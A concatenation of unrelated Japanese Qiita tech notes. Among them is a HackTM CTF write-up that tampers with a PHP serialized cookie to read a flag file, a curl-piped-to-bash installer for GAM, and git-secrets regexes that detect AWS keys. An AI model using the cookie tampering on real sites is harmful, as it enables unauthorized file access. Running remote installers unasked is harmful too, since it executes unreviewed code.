OmniAICreator/Qiita-1.07M huggingface dataset:
秋月のＤ級アンプモジュールを無改造で音出し

10年以上前からPower Mac G4 Cubeの外付けスピーカーのアンプの基板が秋月で販売されています。

https://akizukidenshi.com/catalog/g/g102404/

発売当初は千円以上していたみたいですが、処分価格で600円になって長いようです。

アンプのチップに0021とあるので2000年の中くらいに作られたもののようです。

販売されて10年もたつのでいろいろなページで書かれています。

ほぼすべてのページが改造しています。

しかしCubeではそのまま使えていたので、改造しなくても音は出せるはずです。

おそらくCubeのUSBポートは定格の500mA以上出せたのだと思うのですが、それ以外は普通のUSBポートだったと思います。

ネットのページの情報でUAC3552AのGPIO6でアンプのチップを制御しているようです。GPIO0-3が入力で、GPIO4-7が出力のようです。

UAC3552Aのデーターシートは手に入るのですが、USBの詳細が書いてありません。

githubで何か情報があるかと思って"UAC3552A"を検索したら、なんとありました。"UAC3552"だと何も出ませんでした。

https://github.com/jeanthom/TrinityEnabler

どんぴしゃです。なんとマイクロコードが入っています。

IOUSBで書かれてあるので、FreeBSDにportしてみました。

https://github.com/yamori813/TrinityEnabler

DawinのOpenSourceから発掘したようです。後から見たらLinuxのportしたものもありました。

FreeBSD/mipsで無改造でスピーカーから音でました。

ここに記事がありました。

https://www.journaldulapin.com/2017/02/19/g4-cube-speakers/

電源の制御を行ってるようなので、注意してください。

LTのDC-DCチップを使っていて、外している方も多いようですが、特殊なチップなので実はいろいろ考えられているのかもしれません。

Cubeは4Aも流せたのでしょうか？USB 1.0の時代に3.0をも凌駕するスペックを実現するとはさすがJobsです。

Cubeは商業的には失敗したようですが、このモジュールは基板もしっかりしていて、お買い得だと思います。

G4 CubeはJobsの自信作だったみたいなんので、あまりいじらずに当時を音をきくのもおつなものです。

処分されてるのはおそらく設計ミスなどではなくJobsが自信を持って大量発注して、売れ残ったものなのではないでしょうか。

アンプチップのTA1101BはSONY VAIOでも使われていたようなので、SONY系の会社が作ったものかもしれません。JobsはSONY好きでしたしね。
cscの作法 その293

# 概要
cscの作法、調べてみた。
Windows10の壁紙を設定してみた。

# 参考にしたページ
https://qiita.com/NaaO/items/b780f7b46c666847e42c


コンパイル手順

```
>set PATH=C:\Windows\Microsoft.NET\Framework\v4.0.30319;%PATH%

>csc kabe0.cs
```


以上。
第3正規形

# 第3正規形とは
```推移的関数従属を解消する手段```

# 推移的関数従属とは
社員テーブルにある会社コード、社員コードが主キーである。
そのほかに社員名、年齢、部署コード、部署名の列がある。

主キー以外のキーで関数従属の関係にある列がある。
それが
```部署コード```と```部署名```の列だ。
これを主キーを入れて関数従属の関係を示してみる。

```
{会社コード、社員ID} → {部署コード} → {部署名}
```
二段階の関数従属がある。
このように
テーブル内に存在する段階的な従属関係のことを```推移的関数従属```と呼ぶ。

# 出典
https://www.shoeisha.co.jp/book/detail/9784798124704
[Tips]数理最適化にて、x（0以上の値）が0の時0、1以上の時1となるようなyの値を求めるモデル

# 数理最適化Tips

最適化で、x（0以上の値）が0の時0、1以上の時1となるようなyの値を求めるモデル

定数
x : 0以上の整数
M : xが取り得る値よりも大きな値

変数
y 0/1のバイナリ

目的関数と制約式
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2822713/a667de6e-a61e-f2f7-ae90-46b81fc0bdf4.png)


とすることで、
x = 0 の時、y = 0,
x >=1 の時、 y = 1
を取る
よく使われるIT用語一覧！！

# 概要
よく使われるIT用語をまとめます。
簡単に説明できるように、良い用語があれば
都度、更新していきます！

# 用語一覧

関数～「関数（function）」は、繰り返し使われる一連の処理を1つにまとめたもの。
引数～入力する値。
戻り値～出力される値。


# 参考にしたサイト
https://qiita.com/Ted-HM/items/7dde25dcffae4cdc7923

# 終わりに
ゆるーくアップデートしていきます。
ご覧いただきありがとうございました^^
大学生が統計検定2級を優秀成績賞で合格した話

統計検定2級を優秀成績賞で合格したので、ノウハウをまとめました。

この記事を読めば、
・**統計検定2級とは**
・**必要な教材**
・**暗記していくべきもの**
が明確になると思います！

# 自己紹介(学習歴)
慶應義塾大学理工学部管理工学科3年生。大学では統計やAI、数理最適化、金融工学、IE、プロジェクトマネジメント、経済などを幅広く理系的な視点から学んでいる。まあ、データサイエンスとは距離が比較的近い学部だと思う。

Twitterはこちら→[@A7_data](http://twitter.com/A7_data "my twitter")
<dl>
  <dt>2022年1月</dt>
  <dd>統計の勉強を本格的に開始</dd>
  <dt>2022年4月6日　</dt>
  <dd>統計検定2級合格（優秀成績賞)</dd>
<dt>2022年6月</dt>
  <dd><a href="https://codegym.jp/academy">CODEGYM ACADEMY</a>参加。<a href="https://cs50.jp/">CS50</a>などの講義を通し、Flaskでアプリを個人開発</dd>
<dt>2022年6月14日</dt>
  <dd>データサイエンティスト検定リテラシーレベル合格</dd>
<dt>2022年8月24日</dt>
  <dd>統計検定準1級不合格</dd>
<dt>2022年9月14日</dt>
  <dd>統計検定準1級合格（最優秀成績賞)</dd>
<dt>2022年9月30日</dt>
  <dd>簿記3級合格</dd>
<dt>それ以降</dt>
  <dd>機械学習を中心に勉強中。理論を勉強しながらSIGNATEやKaggleをちょこちょこ。深層学習にも手を出してる</dd>
<dt>2022年12月</dt>
  <dd>SIGNATE Intermediateに昇格</dd>
<dt>2022年12月</dt>
  <dd><a href='https://twitter.com/DSL_Tw'>データ分析特化型学生団体DSL　
@Data_Science_League</a>に加入。日々勉強中。</dd>
<dt>2023年1月</dt>
  <dd>SIGNATE 第一回金融データ活用チャレンジ参加中</dd>

</dl>
(最終更新2023年1月。最新版はこの記事の一番上を参考にしてください）

https://qiita.com/mohki7/items/c3f26916d79a0e3269cc


# 本記事はNoteに移行しました
こちらをご覧ください

https://note.com/a7_data/n/naba660260817
ゲームの種類

ゲームといっても様々に分類できるので，作成したAIが，どのゲームの種類に適用できるか議論する必要があります．この記事では，ゲームの分類についてまとめます．それぞれの分類は組み合わされます．

|ゲームの種類                |日本語        |説明              |例                     |
|:-------------------------|:------------|:----------------|:----------------------|
|single-player game        |一人ゲーム     |一人でやるゲーム    |マインスイーパー，ブロック崩し|
|two-player game           |二人ゲーム     |二人でやるゲーム    |囲碁，将棋，チェス，オセロ|
|multiplayer game          |複数人ゲーム   |複数人でやるゲーム   |Starcluft，Apex|
|zero-sum game             |ゼロ和ゲーム   |報酬の和がゼロになる．|囲碁，将棋，チェス，オセロ|
|non-zero-sum game         |非ゼロ和ゲーム  |報酬の和がゼロにならない．|株|
|game with perfect information  |完全情報ゲーム  |ゲームに関わる情報はプレイヤーにすべて公開されている．|囲碁，将棋，チェス，オセロ|
|game with imperfect information|非完全情報ゲーム|ゲームに関わる情報はプレイヤーに限定的に公開されている．|じゃんけん，麻雀，大富豪|
|deterministic game        |決定論的ゲーム  |ゲーム自体に確率的な要素がない．|囲碁，将棋，チェス，オセロ|
|non deterministic game     |非決定論的ゲーム|ゲーム自体に確率的な要素がある．|バックギャモン|
|discrete action space     |離散行動空間   |行動が離散|囲碁，将棋，チェス，オセロ|
|continuous action space   |連続行動空間   |行動が連続||
composer.phar installでのエラー

# 自分用メモ
新環境にて、EC-Eubeの2系を構築してた所のエラーです。
ググってもあまり出てこなかったので、備忘録として。
```
$ php composer.phar install --no-dev --no-interaction -o
Installing dependencies from lock file
Verifying lock file contents can be installed on current platform.
Your lock file does not contain a compatible set of packages. Please run composer update.

  Problem 1
    - Root composer.json requires PHP extension ext-gd * but it is missing from your system. Install or enable PHP's gd extension.
  Problem 2
    - pear/xml_serializer is locked to version v0.22.0 and an update of this package was not requested.
    - pear/xml_serializer v0.22.0 requires ext-xml * -> it is missing from your system. Install or enable PHP's xml extension.
  Problem 3
    - setasign/fpdf is locked to version 1.8.5 and an update of this package was not requested.
    - setasign/fpdf 1.8.5 requires ext-gd * -> it is missing from your system. Install or enable PHP's gd extension.

To enable extensions, verify that they are enabled in your .ini files:
```
# 解決策
`ext-gd`と`ext-xml`をインストールすればいいだけ。
```
apt install ext-gd ext-xml
paiza.ioでelixir その186

# 概要
paiza.ioでelixirやってみた。
練習問題やってみた。

# 練習問題
Forthインタープリタを書け。
forthで数9を4個つかって1から15までの数を表す式を実行せよ。
Agentを使うな。

# サンプルコード

```

defmodule Main do
    def add(stack) do
	    po = length(stack) - 2
	    top = List.last(stack)
	    stack = List.update_at(stack, po, &(&1 + top))
		stack = List.delete_at(stack, po + 1)
	end
	def sub(stack) do
	    po = length(stack) - 2
	    top = List.last(stack)
	    stack = List.update_at(stack, po, &(&1 - top))
		stack = List.delete_at(stack, po + 1)
	end
	def mul(stack) do
	    po = length(stack) - 2
	    top = List.last(stack)
	    stack = List.update_at(stack, po, &(&1 * top))
		stack = List.delete_at(stack, po + 1)
	end
	def div(stack) do
	    po = length(stack) - 2
	    top = List.last(stack)
	    stack = List.update_at(stack, po, &(&1 / top))
		stack = List.delete_at(stack, po + 1)
	end
	def dup(stack) do
	    top = List.last(stack)
	    stack ++ [top]
	end
	def drop(stack) do
	    po = length(stack) - 2
    	stack = List.delete_at(stack, po + 1)
	end
	def get(stack) do
		List.last(stack)
	end
	def push(n, stack) do
	    {v, _} = Integer.parse(n)
		stack ++ [v]
	end
    def run(str) do
        Enum.reduce(String.split(str, " "), [], fn s, stack ->
            cond do
	        s == "+" ->
		        add(stack)
    	    s == "-" ->
	    	    sub(stack)
	        s == "*" ->
		        mul(stack)
    	    s == "/" ->
	    	    div(stack)
	        s == "dup" ->
		        dup(stack)
    	    s == "drop" ->
	    	    drop(stack)
	        s == "." ->
		        IO.inspect get(stack)
    	    true ->
                push(s, stack)
            end
        end)
    end
end

Main.run("9 9 - 9 9 / .")
Main.run("9 9 / 9 9 / + .")
Main.run("9 9 + 9 + 9 / .")
Main.run("9 9 9 + 9 / dup + .")
Main.run("9 9 9 + 9 / dup + - .")
Main.run("9 dup 9 + 9 + 9 / - .")
Main.run("9 9 9 + 9 / - .")
Main.run("9 9 9 drop 9 / - .")
Main.run("9 9 - 9 * 9 + .")
Main.run("9 9 / 9 dup 9 / + .")
Main.run("9 9 9 + 9 / + .")
Main.run("9 dup 9 9 + + 9 / + .")
Main.run("9 9 9 + 9 / dup + + .")
Main.run("9 dup 9 9 + 9 / dup + - + .")
Main.run("9 dup dup 9 + 9 + 9 / - + .")



```

# 実行結果

```
1.0
2.0
3.0
4.0
5.0
6.0
7.0
8.0
9
10.0
11.0
12.0
13.0
14.0
15.0
```

# 成果物

https://paiza.io/projects/JTCssO0tUrhKY2omYHFNwg


以上。
sshキーを作って、サーバーと通信するまで

今更ながら手順メモ

###   sshの鍵作成

```
cd ~
ssh-keygen
// 別名つけるなら
ssh-keygen -f hoge
```

### サーバーに公開鍵送る

```
ssh-copy-id [ユーザ名]@[サーバのアドレス]
//送るファイル指定するなら
ssh-copy-id -i ~/.ssh/hoge.pub [ユーザ名]@[サーバのアドレス]
```


これで接続できるようになったので、

### ファイルをアップロード
```deploy.sh を作成
scp [コピーしたいファイルの場所] [コピー先のディレクトリ]
// ディレクトリごとあげるなら
scp -r [コピーしたいディレクトリの場所] [コピー先のディレクトリ]

// rsyncなら
rsync [オプション] [コピーしたいファイルの場所] [コピー先のディレクトリ]
//予行練習 rsync -avn [コピーしたいファイルの場所] [コピー先のディレクトリ]
//本番　rsync -av [コピーしたいファイルの場所] [コピー先のディレクトリ]
//ファイル削除する　rsync -av --delete [コピーしたいファイルの場所] [コピー先のディレクトリ]
```

実行
```
sh deploy.sh
```
　　　

#### 必要があればシンボリックリンクなどを作成
```
ln -s [リンクの参照先] [リンク名]
```
少ない容量しか認識されないUSBフラッシュメモリを全容量使えるようにフォーマットする

## 問題
Linuxをインストールするとき，USBフラッシュメモリにLinuxのisoファイルをddで書き込みインストールディスクを作成します．インストール後USBフラッシュメモリを通常利用しようとすると，数Ｍバイトの容量しか無いEFIパーティションのみ見えるだけになってしまいます．これでは通常利用に支障をきたします．しかし，Disk UtilityでUSBフラッシュメモリを見ても，EFIパーティションしか見えません．一方，Windowsのディスク管理ではEFIパーティションを削除できません．

## 目的

数ＭバイトのEFIパーティションしか見えない（見えても消せない）USBフラッシュメモリを全容量使えるようにするにはどうすればよいでしょうか．

## 解決手法
### Macでの対応

Macでは次のようなコマンドを打つことで，USBフラッシュメモリのすべての容量を使えるようになります．
```
diskutil partitionDisk /dev/disk4 1 MBRFormat "MS-DOS FAT32" USBDISK 100%
```

- diskutilはコマンドです．
- partitionDiskはパーティションをいじるという意味です．
- /dev/disk4はUSBディスクの場所(マウントポイント)です．ディスクユーティリティでUSBフラッシュメモリを見ると書いてあります．コマンドで確認したい場合はdiskutil listと打ちましょう．
- 1はパーティションの番号です．
- MBRFormatはマスターブートレコードに対応させるという意味です．
- "MS-DOS FAT32"はファイルフォーマットを表します．USBフラッシュメモリなのでFAT32にしました．
- USBDISKはディスクの名前です．好き名前にしましょう．
- 100%はパーティションのサイズです．100%ですからディスク全て使うという意味になります．

だめだった場合は次のコマンドを試してみよう．
```
diskutil eraseDisk FAT32 USBDISK MBRFormat /dev/disk4
```

## Windowsでの対応
コマンドプロンプトやPowershellで
```
diskpart
```
と打ち込んでdiskpartを立ち上げます．

```
list disk
```
打ち込み，USBフラッシュメモリの番号を確認します．心配な方は``detail disk''で，ちゃんとUSBフラッシュメモリが選ばれていることを確認しましょう．

USBフラッシュメモリの番号が1の場合，
```
select disk 1
```
と打ちます．

```
clean
```
と打ちます．これでディスクパーティションはまっさらの状態になります．この後，任意の形式でフォーマットしましょう．
Google認証システムのワンタイムパスワードをMac（Step Two）で確認しコピペする方法

# はじめに
スマホにGoogle認証システムアプリ(Google Authenticator)をインストールして、6桁の数字確認してPCに入力して。。。。
という数秒の作業、地味に面倒ですよね。:sweat:


https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2&pli=1

https://apps.apple.com/jp/app/google-authenticator/id388497605

特にすぐに接続が切れて頻繁に認証を求められるような時は「ずっとスマホでGoogle Authenticatorを開いたまま横に置いとく」なんて事もあります。。。

そんなあなたに朗報です！！


# Step Twoをインストール

https://apps.apple.com/jp/app/step-two/id1448916662?mt=12

こいつがなかなか優秀でした！

インストールして開いたら右上の「+」ボタンを押して、私の場合はQRコードを読み込むとそれだけでOKです！！

しかも優秀なことにワンクリックでコピペできちゃうのです:innocent:

![Screenshot 2023-02-20 at 11.10.52.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/167220/09a821c9-54e9-e6d4-6214-6377e9713808.png)
Transmit 5 のファイル転送が遅い

`Transmit 5` で大きなファイルを転送するとかなり時間がかかるようだった。

以下のように`scp`コマンドを使うとかなり時間を短縮できた。
```bash
scp -C [コピー元] [コピー先]
```

圧縮していないのが原因かと思われたので、`~/.ssh/config`へ以下を追記した。
```:~/.ssh/config 
Host *
Compression yes
CompressionLevel 9
```

`Transmit 5` でも `scp`コマンドと同等速度でファイル転送できた。
マイグレーションファイルの名前の付け方について

## 環境
Rails5.2

## はじめに
マイグレーションファイルを作成するコマンドを実行するとき、マイグレーション名は、どのような名前のつけ方にするのがベストプラクティスなのか悩んだため、色々と考察してみました。

## キャメルケース
コマンドで実行するとき、マイグレーション名をキャメルケースで指定しました。
```
rails g migration addColumnUser
```

マイグレーションファイル名は、**スネークケース**になります。
クラス名は**パスカルケース**になります。
```xxxxxxxxxxxxxx_add_column_user.rb
class AddColumnUser < ActiveRecord::Migration[5.2]
  def change
  end
end
```

## パスカルケース

コマンドで実行するとき、マイグレーション名をパスカルケースで指定しました。
```
rails g migration AddColumnUser
```

マイグレーションファイル名は、**スネークケース**になります。
クラス名は**パスカルケース**になります。
```xxxxxxxxxxxxxx_add_column_user.rb
class AddColumnUser < ActiveRecord::Migration[5.2]
  def change
  end
end
```

## スネークケース
コマンドで実行するとき、マイグレーション名をスネークケースで指定しました。
```
rails g migration add_column_user
```

マイグレーションファイル名は、**スネークケース**になります。
クラス名は**パスカルケース**になります。
```xxxxxxxxxxxxxx_add_column_user.rb
class AddColumnUser < ActiveRecord::Migration[5.2]
  def change
  end
end
```

## スネークケース+パスカルケース

コマンドで実行するとき、マイグレーション名をスネークケース+パスカルケースで指定しました。
```
rails g migration Add_Column_User
```

マイグレーションファイル名は、**スネークケース**になります。
クラス名は**パスカルケース**になります。
```xxxxxxxxxxxxxx_add_column_user.rb
class AddColumnUser < ActiveRecord::Migration[5.2]
  def change
  end
end
```

## 結論

コマンドで指定するマイグレーション名は、どのような規約であっても、マイグレーションファイル名は、必ず**スネークケース**になり、クラス名は、必ず**パスカルケース**になります。つまり、コマンドを実行するときのマイグレーション名の命名規約にはこだわる必要はありませんでしたということです。
HackTM writeup 



### BLOG[web]
ユーザ作成→blog投稿　を行うサイト
FLAGの場所は「/02d92f5f-a58c-42b1-98c7-746bbda7abe9/flag.txt」LFIができればいいな
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/589101/9465d257-9fe0-e0fb-0311-d35817625afa.png)

```index.php
include("util.php");
if (!isset($_COOKIE["user"])) {
    header("Location: /login.php");
    die();
} else {
    $user = unserialize(base64_decode($_COOKIE["user"]));
}
```
unserialize+baseでCOOKIEの作成をしているので内容をのぞいてみる

```
Cookie
Tzo0OiJVc2VyIjoyOntzOjc6InByb2ZpbGUiO086NzoiUHJvZmlsZSI6Mjp7czo4OiJ1c2VybmFtZSI7czoxMjoi44GC772T772E772GIjtzOjEyOiJwaWN0dXJlX3BhdGgiO3M6Mjc6ImltYWdlcy9yZWFsX3Byb2dyYW1tZXJzLnBuZyI7fXM6NToicG9zdHMiO2E6MDp7fX0%3D
base64_decode
O:4:"User":2:{s:7:"profile";O:7:"Profile":2:{s:8:"username";s:12:"あｓｄｆ";s:12:"picture_path";s:27:"images/real_programmers.png";}s:5:"posts";a:0:{}}7

```
picture_pathにflag.txtのpathに書き換えるとflag.txtの中身が見れるはず
```
O:4:"User":2:{s:7:"profile";O:7:"Profile":2:{s:8:"username";s:12:"あｓｄｆ";s:12:"picture_path";s:46:"/02d92f5f-a58c-42b1-98c7-746bbda7abe9/flag.txt";}s:5:"posts";a:0:{}}7
```
COOKIEを↑のように書き換えると、FLAGがbase64で出てくる。
JavaScript初心者必読！！

# 概要
JavaScriptについて勉強中なので、自身の備忘録のために分かりやすく自分の言葉で噛み砕いて解説していきます。

# この記事で理解できること
* JavaScriptって何やねん？？
* JavaScriptで、できる事は？？
* JavaScript言うたらよく出てくる、[jQuery]、[Node.js]の正体は？？

# JavaScriptって何やねん、何ができんねん？
JavaScriptは、ホームページに動きをつける用のプログラミング言語です。
HTML／CSSでは実現できない「動きの変化」を設定できます。

例えば、InstagramやFacebookの「いいね」ボタン。
あれって押したら色がついたり消えたりしますよね？即座に変化する感じ。

あの変化の仕組みは、HTML／CSSだけでは実現できません。
JavaScriptだからこそ、できる技です。
![javascript.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2975065/7be7ce1d-4799-b399-fd91-b3aedb42fc27.png)


このようにJavaScriptは、Webサイトには欠かせない機能です。
Webエンジニアはマスターしなければならないのです。

また、JavaScriptを用いることで、サイト内で画面遷移することなくアプリケーションを利用できたり、ユーザに親切なインターフェースを提供できるようになります。（要は利用者が使いやすいってこと）

# JavaScript言うたらよく出てくる、[jQuery]、[Node.js]の正体は？？

[某ウェブページより引用]
<b>jQueryとは、JavaScriptでできることを、より簡単な記法で実現できように設計されたJavaScriptライブラリです。
jQueryは初心者にやさしい、とても有用なJavaScriptライブラリです。</b>


...へいSiri、プログラミングにおけるライブラリって何？？
「はい、こちらが見つかりました」![スクリーンショット_20230220_145956.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2975065/57d04da8-56fa-416d-b5eb-434362a58585.png)
ということです
わかりましたか？？？
僕にはさっぱり分かりませんでした。
とにかく、便利に簡単にJavaScriptが使えるものっていうことですね。
その認識でOKです。
次はNode.jsです。

[某ウェブページより引用]
<b>ブラウザ上という制限された環境でしか動けなかったJavaScriptを、PythonやRubyのようにパソコン上で動かせるようにしてくれるのが「Node.js」です。</b>

そうなんです。
実は、JavaScriptはブラウザ上だけではなく、サーバサイドでも動く。PHPやJavaなどと同じような使い方ができるということなんです。
「Node.js = サーバサイドJavaScript」だと認識しておけばOKです。

# 終わりに
今回はJavaScriptについて解説しました。
今後も自身の備忘録も兼ねて、投稿していきますので、
よろしくお願いします^^



◆参考にしたサイト
https://qiita.com/non_cal/items/a8fee0b7ad96e67713eb
第２正規形

# 第２正規形とは
* ```テーブル内で部分関数従属を解消し、完全関数従属のみのテーブルを作る```こと
* ```異なるレベルの実体(エンティティ)を、きちんとテーブルとしても分離してやる作業```
* ```現実世界の実体間にある階層の差を反映する手段```

### 部分関数従属とは
社員テーブルにある会社コード、社員コードが主キーである。
そのほかに会社名、社員名、年齢、部署コード、部署名の列がある。

主キーの一つである会社コードにには会社名の列しか従属していない。
このように
主キーの一部の列に対して従属する列がある場合、この関係を```部分関数従属```という。

### 完全関数従属
主キーを構成しているすべての列に従属性がある場合を```完全関数従属```という。

### 気づき
部分関数従属とは一部の列が従属することを言うのか。
主キーその他の全てのキーが従属する関係を完全関数従属と言うのか。

# 第二正規形を行う理由
* 不明の会社があった場合、不明の会社をテーブルに登録することができない
* 不明の会社名を間違えて、コードは同じだが、名前が違うことが発生してしまう危険がある。

# 出典
https://www.shoeisha.co.jp/book/detail/9784798124704
git-secretsの設定方法

様々な記事で取り上げられておりますが備忘録として残します。

サーバーのアクセスキーの情報やシークレット情報を使って開発する際、
誤ってアクセスキーの情報をgitにコミットしないためにgit-secretsを設定します。

# 参考記事
[git-secretsはじめました](https://qiita.com/jqtype/items/9196e047eddb53d07a91)

# 環境
M1 MAC
macOS Ventura　バージョン13.2.1

# MACの設定方法

以下のコマンドの設定をすると、PC上にある全gitでバージョン管理されている対象に対して、AWSの保護を行うgit-secretsが適用されます。

### git secretsのinstall
````
$ brew install git-secrets
````

### 端末全体のgitでバージョン管理されているリポジトリの保護
````
$ git secrets --install ~/.git-templates/git-secrets
$ git config --global init.templatedir '~/.git-templates/git-secrets'
````

### AWSの保護
````
$ git secrets --register-aws --global
````
下記の様に、~/.gitconfigに設定が追記されたら成功です。

```
[secrets]
	providers = git secrets --aws-provider
	patterns = (A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}
	patterns = (\"|')?(AWS|aws|Aws)?_?(SECRET|secret|Secret)?_?(ACCESS|access|Access)?_?(KEY|key|Key)(\"|')?\\s*(:|=>|=)\\s*(\"|')?[A-Za-z0-9/\\+=]{40}(\"|')?
	patterns = (\"|')?(AWS|aws|Aws)?_?(ACCOUNT|account|Account)_?(ID|id|Id)?(\"|')?\\s*(:|=>|=)\\s*(\"|')?[0-9]{4}\\-?[0-9]{4}\\-?[0-9]{4}(\"|')?
	allowed = AKIAIOSFODNN7EXAMPLE
	allowed = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
```

### エラーが出るかテスト
今回はダウンロードフォルダに「test」というフォルダを作成し、その中にAWSのアクセスキー(ダミー)を記載した「secret.txt」というファイルを作成し、git addしてcommitしてみます。
```
ダウンロードフォルダに移行
$ cd Downloads

testフォルダを作成し、testフォルダに移動
$ mkdir test && cd test

gitリポジトリを新規に作成（初期化の意味も持つ)
$ git init

git secretsをインストールすることで設定を行う
$ git secrets --install

AWS向けのcommit検査設定を導入
$ git secrets --register-aws

「secret.txt」ファイルを作成
$ touch secret.txt
$ echo "aws_secret_access_key = ABcDe1F2hIjkl3nop45sTUv6XYz7aBcDEFghIJKL" > secret.txt

ファイル検査
$ git secrets --scan secret.txt
secret.txt:1:aws_secret_access_key = ABcDe1F2hIjkl3nop45sTUv6XYz7aBcDEFghIJKL

[ERROR] Matched one or more prohibited patterns

Possible mitigations:
- Mark false positives as allowed using: git config --add secrets.allowed ...
- Mark false positives as allowed by adding regular expressions to .gitallowed at repository's root directory
- List your configured patterns: git config --get-all secrets.patterns
- List your configured allowed patterns: git config --get-all secrets.allowed
- List your configured allowed patterns in .gitallowed at repository's root directory
- Use --no-verify if this is a one-time false positive
````
上のような記載があれば、検出成功です。
あとはアクセスキーの記載を削除し、下記を実行すれば、無事コミットできます。
```
$ git add .
$ git commit -m "firstcommit"
```

※本来であればcommitした際に検出されるようですが、私は検出されず、原因が分からなかったため、ファイル検査にて検出しました。
解決方法お分かりの方おりましたらご教示いただけますと幸いです。
AWS Opensearch の瞬断問題

## 概要
裏でOpensearchを利用するサービスを構築するときの話。
現象としてはOpensearchが瞬断する状況が定期的に発生する。


## 原因
前提知識としてOpensearchはJVM上で動作している。
これに対して稼働中ヒープメモリ使用量が単調増加するという現象あり。
メモリ使用量が閾値に達した場合当然GC（ガベージコレクション）が発生するわけだが、このGC中は接続がタイムアウトする、つまり外から見たときにOpensearchが瞬断している状況となる。
2023現在AWS公式見解によるとこの一連の挙動は仕様。


## 対策方針
仕様であるならGCの発生は避けられないのでタイムアウトに対策する方針となる。
GCの所要時間は環境次第ではあるものの概ね数分。
なので「タイムアウト待ち時間を長めに設ける」としてしまうと本件以外の状況で少しつらく、タイムアウト時の接続リトライで対応するのが最も丸いように考えた。


## 実装
以下Pythonでopensearchpyを利用する場合の話。
OpenSearchClientのコンストラクタに以下の引数を追加することで実現できる。
```python
OpenSearch(
    ....
    timeout=30,             # タイムアウト判定までの時間 [sec.]
    retry_on_timeout=True,  # リトライ有効化フラグ
    max_retries=5,          # リトライ最大回数
)
```

### APIリファレンス
https://opensearch-project.github.io/opensearch-py/api-ref/clients/opensearch_client.html


## 一言
やることはわかってもopensearchpy公式のAPIリファレンスの読解が微妙に難しかった。
同じ現象で悩んでいる方の参考になれば幸いということで。
GAMのセットアップメモ

# はじめに
下記ができる必要があります
- GCPのプロジェクトを作れる
- Admin Google管理者権限持ってる

作ったり消したり何回かしたので手順違うかもです

# セットアップ
公式に従ってやりましょう
https://github.com/GAM-team/GAM/wiki

## GAMのインストール
Ubuntu 20.04でやった例
```
$ bash <(curl -s -S -L https://gam-shortn.appspot.com/gam-install)

～省略～

Can you run a full browser on this machine? (usually Y for MacOS, N for Linux if you SSH into this machine) N # ←　ここで「N」

GAM is now installed. Are you ready to set up a Google API project for GAM? (yes or no) no　# ←　初回なのでここで「no」

You can create an API project later by running:

gam create project

Here's information about your new GAM installation:

GAM 6.31 - https://jaylee.us/gam - staticx
Jay Lee <jay0lee@gmail.com>
Python 3.11.0 64-bit final
google-api-python-client 2.66.0
Linux Ubuntu 20.04 Focal Fossa x86_64
Path: /home/ubuntu/bin/gam
Your system time differs from admin.googleapis.com by less than 1 second
OpenSSL 3.0.7 1 Nov 2022
cryptography 38.0.3
admin.googleapis.com connects using TLSv1.3 TLS_AES_256_GCM_SHA384
GAM installation and setup complete!

Please restart your terminal shell or to get started right away run:

function gam() { "/home/ubuntu/bin/gam/gam" "$@" ; }

# コマンドを使えるようにする
$ function gam() { "/home/ubuntu/bin/gam/gam" "$@" ; }
```

## GAM用のGCPプロジェクト作る
GAM用のGCPプロジェクトを作る
請求アカウントを付けなくてもAPI使えたのでそのままにしてます

```
$ gam create project
What is your Google Workspace admin email address? メールアドレス入れる

Go to the following link in your browser:
URLが表示されるのでクリックする

～省略～

https://console.cloud.google.com/apis/credentials/oauthclient?project=プロジェクト
```

APIとサービスの認証情報が開くので

```
1. Choose "Desktop App" or "Other" for "Application type".
2. Enter a desired value for "Name" or leave as is.
3. Click the blue "Create" button.
4. Copy the "client ID" value that shows on the next page.
```

を実施してその後表示されるClientIDのところにIDを記載する

## コマンドへ権限の委譲

```
$ gam info domain

～省略～

s)  Select all scopes
u)  Unselect all scopes
e)  Exit without changes
c)  Continue to authorization

Please enter 0-31[r|a] or s|u|e|c: c # ←「c」を入力
What is your Google Workspace admin email address? メールアドレス

Go to the following link in your browser:
URLが表示されるのでクリック
```

Google認証と許可の画面が表示される

これでいけるはず
お試しユーザリストの取得

```
$ gam print users
```
デイトラ「Web制作コース」　受講内容をアウトプット 15～17日目

学んだことをアウトプットしています。完全に自己満足ですので悪しからず。
以下の点を確実にアウトプット
①何で学んでるか
②日々の学習内容
③学びのポイント
④制作物
⑤+αで参考にした記事
⑥+αでやってみたこと

①デイトラ「Web制作コース初級編」　自分のポートフォリオサイトを作る（ベース編）
②自分のポートフォリオサイトの作成
③なし
④ポートフォリオ
⑤・meta descriptionの意味や対策
　 ⇒https://web-kanji.com/posts/seo-meta-description
 ・meta charset=”UTF-8″の意味や必要性
　 ⇒https://mitchyyy.com/meta-charset-utf-8/
 ・HTMLのviewport
　⇒https://gmotech.jp/semlabo/seo/blog/howto-viewport/
 ・box-shadowの使い方
　⇒https://webst8.com/blog/css-box-shadow/
 ・box-sizingの使い方
　⇒https://web-camp.io/magazine/archives/100396
 ・Font Awesomeの使い方とアイコンの設定
　⇒https://homeatlast.co.jp/font-awesome.html
    https://sologaku.com/make-website/fontawesome-icon-link-customize-css/
⑥なし
File System Access APIを使ってCanvasをPNG保存

* Canvas要素をFile System Access APIを使いPNGで保存する。
* directoryPickerを使えば、pngの連番が30fpsとかで保存可能。


# 📝FilePickerを使って、１ファイルごと保存する

```javascript

var c = document.getElementById("myCanvas");
var ctx = c.getContext("2d");
ctx.moveTo(0, 0);
ctx.lineTo(400, 300);
ctx.stroke();

ctx.fillStyle = "#f00";
ctx.beginPath();
ctx.arc(150, 150, 150, 0, 2 * Math.PI);
ctx.fill();


///////////////////////////////////////////////
//https://stackoverflow.com/questions/72615770/store-canvas-screenshot-to-local-filesystem-with-filesystem-api


c.onclick = ()=>{
  console.log("abc")
   c.toBlob(async function(result) {
        console.log(result);
        const options = {
        types: [
            {
            description: 'Images',
            accept: {
                'image/png': ['.png'],
            },
            },
        ],
        suggestedName: 'Screenshot.png',
        };
        imgFileHandle = await window.showSaveFilePicker(options);
        console.log("Save File chosen");
